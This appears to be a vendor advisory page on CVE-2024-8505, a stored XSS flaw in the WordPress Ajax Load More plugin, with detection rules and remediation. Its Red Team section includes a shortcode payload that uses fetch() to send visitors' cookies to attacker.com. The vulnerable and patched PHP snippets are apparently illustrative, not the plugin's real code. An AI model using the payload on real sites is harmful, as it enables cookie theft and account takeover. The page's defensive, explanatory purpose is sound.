CVE-2024-8505
Executive Summary
CVE-2024-8505 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress Infinite Scroll – Ajax Load More plugin (versions up to and including 7.1.2). The flaw resides in the button_label parameter, which is insufficiently sanitized and escaped. Authenticated attackers with Contributor-level access or higher can inject arbitrary web scripts that execute when any user visits a page containing the malicious payload. This vulnerability is part of the WordPress ecosystem and affects sites using the Ajax Load More plugin for infinite scroll functionality.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is a critical component of the WordPress supply chain. Users should verify the integrity of their plugin files and ensure they are sourced from trusted repositories. The lack of a patch from the vendor increases the risk of supply chain compromise through malicious plugin updates or third-party modifications.
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Contributor-level access)
- User Interaction: None
- Scope: Changed (vulnerability impacts resources beyond the vulnerable component)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. While the CVSS score is moderate, the ability for authenticated users with low privileges to inject persistent scripts that execute in the context of other users (including administrators) elevates the risk. The lack of a patch and the widespread use of the plugin make this a significant threat to WordPress sites.
Deep Dive & Mechanics
The vulnerability is a classic Stored XSS in the WordPress ecosystem. The button_label parameter, used to customize the text of the "Load More" button, is not properly sanitized before being stored in the database and later rendered on the frontend. When an attacker with Contributor-level access or higher modifies the button label to include malicious JavaScript, the script is stored and executed in the browser of any user viewing the page.
Attack Flow:
- An attacker logs in with Contributor-level credentials.
- The attacker creates or edits a post/page and uses the Ajax Load More shortcode.
- The attacker sets the
button_labelparameter to a malicious payload, e.g.,<script>alert('XSS')</script>. - The plugin stores the payload in the WordPress database without proper sanitization.
- When any user (including administrators) visits the page, the payload executes in their browser.
Root Cause: Insufficient input sanitization and output escaping in the button_label parameter. The plugin fails to use WordPress's built-in escaping functions like esc_html() or wp_kses_post() before rendering the label.
Vulnerable vs. Patched Code
Vulnerable Code (<= 7.1.2):
// In ajax-load-more.php or similar
$button_label = get_option('alm_settings_button_label');
echo '<button class="alm-load-more-btn" type="button">' . $button_label . '</button>';
The $button_label is output directly without escaping, allowing XSS.
Patched Code (Hypothetical):
$button_label = get_option('alm_settings_button_label');
echo '<button class="alm-load-more-btn" type="button">' . esc_html($button_label) . '</button>';
The esc_html() function converts special characters to HTML entities, preventing script execution.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A WordPress site with Ajax Load More plugin <= 7.1.2.
- A user account with Contributor-level access or higher.
Exploitation Steps:
- Log in to WordPress as a Contributor.
- Create a new post or edit an existing one.
- Add the Ajax Load More shortcode with a malicious
button_label:[ajax_load_more button_label="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"] - Publish or update the post.
- Any user visiting the post will have their cookies exfiltrated to the attacker's server.
Alternative Payload:
<img src=x onerror="alert('XSS')">
Blue Team
Detection:
- Monitor for posts/pages containing suspicious shortcode parameters, especially
button_labelwith script tags or event handlers. - Use Web Application Firewall (WAF) rules to block requests with XSS patterns in shortcode parameters.
- Review user activity logs for Contributor-level users modifying Ajax Load More shortcodes.
Prevention:
- Disable the plugin until a patch is available.
- Restrict Contributor-level access to trusted users only.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
Indicators of Compromise (IOCs)
File Indicators:
- Modified
wp-content/plugins/ajax-load-more/files with suspicious shortcode parameters. - Database entries in
wp_postmetaorwp_optionscontaining XSS payloads inbutton_label.
- Modified
Network Indicators:
- Outbound requests to attacker-controlled domains from WordPress admin pages.
- HTTP requests containing
<script>tags inbutton_labelparameter.
Log Indicators:
- WordPress debug logs showing PHP warnings related to
ajax-load-more. - Web server logs with requests to
wp-admin/post.phpcontaining XSS payloads.
- WordPress debug logs showing PHP warnings related to
Detection Engineering
YARA Rule
rule CVE_2024_8505_Ajax_Load_More_XSS {
meta:
description = "Detects stored XSS payloads in Ajax Load More button_label parameter"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-8505"
strings:
$xss1 = /button_label=["'][^"']*<script[^>]*>.*?<\/script>/is
$xss2 = /button_label=["'][^"']*on\w+=/is
$xss3 = /button_label=["'][^"']*javascript:/is
condition:
any of them
}
Sigma Rule
title: CVE-2024-8505 - Stored XSS in Ajax Load More Plugin
id: 8f3a2b1c-4d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects stored XSS attempts via button_label parameter in Ajax Load More plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-uri-query|contains: "button_label="
cs-uri-query|re: "(<script|onerror|onload|javascript:)"
condition: selection
falsepositives:
- Legitimate use of HTML in button labels (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-8505 - Stored XSS in Ajax Load More button_label"; flow:to_server,established; content:"button_label="; http_uri; pcre:"/(<script|on\w+=|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released by the vendor.
- Restrict user roles – Remove Contributor-level access from untrusted users.
- Implement WAF rules to block XSS payloads in
button_labelparameter.
Long-term Fix:
- Apply the vendor's patch when available (currently UNKNOWN).
- Upgrade to a patched version (none available as of this report).
- Consider replacing the plugin with an alternative that is actively maintained.
Workaround:
- Manually patch the plugin by adding
esc_html()to thebutton_labeloutput in the plugin's PHP files (not recommended for production without testing).
Valters IT
DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.